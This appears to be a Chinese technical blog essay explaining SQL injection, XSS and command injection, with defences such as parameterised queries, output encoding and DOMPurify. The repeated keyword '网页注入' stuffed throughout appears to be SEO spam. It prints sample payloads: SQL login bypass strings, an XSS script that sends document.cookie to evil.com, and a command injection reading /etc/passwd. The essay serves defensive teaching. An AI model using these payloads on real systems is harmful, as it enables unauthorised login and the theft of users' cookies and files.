烟消火灭网

```html 网页注入 · 技术随笔 body { background: #faf9f7; font-family: system-ui, -apple-system, 'Segoe

网页注入

```html 网页注入 · 技术随笔

网页注入

技术随笔 · 2025.04 · 约800字

上周帮朋友看一个后台管理页面,登录框输入 ' or 网页注入1=1 -- 之后,页面直接跳进了仪表盘。网页注入他瞪大眼睛说“这也行?网页注入”——对,这就是网页注入最原始的网页注入。二十多年了,网页注入这毛病还在。网页注入

网页注入的网页注入本质很简单:你写了一段代码,用户输入的网页注入数据混进了代码里,然后代码被当成命令执行了。网页注入SQL注入、网页注入XSS、网页注入命令注入,网页注入全是网页注入这个逻辑。区别只是网页注入注入的位置不同,SQL在数据库查询里,XSS在HTML里,命令注入在系统调用里。

拿SQL注入开刀。假设后端有个登录查询:

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

你输入的用户名是 admin' --,密码随便。拼接之后变成:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx';

-- 把后面的密码校验注释掉了。数据库只检查用户名,密码形同虚设。更狠一点,输入 ' OR '1'='1,条件永远为真,整张表都给你拖出来。

但现在的框架早就防住了。参数化查询、预编译语句、ORM,这些机制把用户输入当数据,而不是代码。你写 WHERE username = ?,数据库引擎自己处理转义,注入就没了。可问题在于——不是所有开发者都用参数化。

“我拼字符串拼了十年,没出过事。”——这种话我听过不下五次。出一次事,公司数据就上暗网了。

XSS是另一种玩法。你在评论区输入 <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>,如果网站没做转义,这段脚本就会在每一个访客的浏览器里执行。Cookie、token、键盘记录,全都能偷。存储型XSS比SQL注入更阴,因为攻击代码躺在数据库里,每次有人打开页面就自动触发。

防御XSS靠输出编码。用户输入的内容在插入HTML之前,把 < > & 这些字符转义掉。现代前端框架默认做了这件事,React的JSX、Vue的模板,都自动转义。但有些场景需要渲染富文本,比如博客编辑器,那就得靠DOMPurify这样的库来清洗HTML。自己写正则过滤?别闹了,绕过方式有一百种。

命令注入更直接。假设有个功能是 ping $ip,你输入 127.0.0.1; cat /etc/passwd,分号后面的命令就被执行了。服务器直接变成肉鸡。这种漏洞在老旧的路由器、摄像头固件里一抓一大把,Mirai僵尸网络就是靠这个起家的。

为什么这些漏洞反复出现?因为开发者总在“方便”和“安全”之间选方便。拼SQL字符串多快啊,写参数化查询还要多敲几个字符。渲染用户HTML多省事啊,做转义还得考虑各种边界情况。但安全从来不是免费的——你省下的每一分钟,都在给攻击者铺路。

有个细节挺有意思:很多注入漏洞的修复补丁只有两三行代码。加一个转义函数,换一个查询方式,问题就没了。可就是这两三行,有人拖了三年。2017年Equifax泄露了1.47亿用户数据,根源就是一个没打补丁的Struts2框架,漏洞利用方式就是OGNL注入。两行代码的事,赔了十几亿美元。

我现在写任何涉及用户输入的功能,都会先问自己三个问题:这个输入进数据库了吗?进HTML了吗?进系统命令了吗?只要沾一个,就必须走安全通道。参数化、转义、白名单,一个都不能少。别信什么“内部系统没人攻击”,内部员工才是最大的攻击面。

网页注入不会消失。只要还有人在拼字符串、渲染原始HTML、执行系统命令,它就一直在。但你可以让它离你远一点——从下一行代码开始,把用户输入当敌人,而不是朋友。


注:本文提到的技术细节仅用于防御性讨论。测试注入漏洞请在自己搭建的环境中进行,未经授权的测试可能违法。

```

访客,请您发表评论:

© 2026. sitemap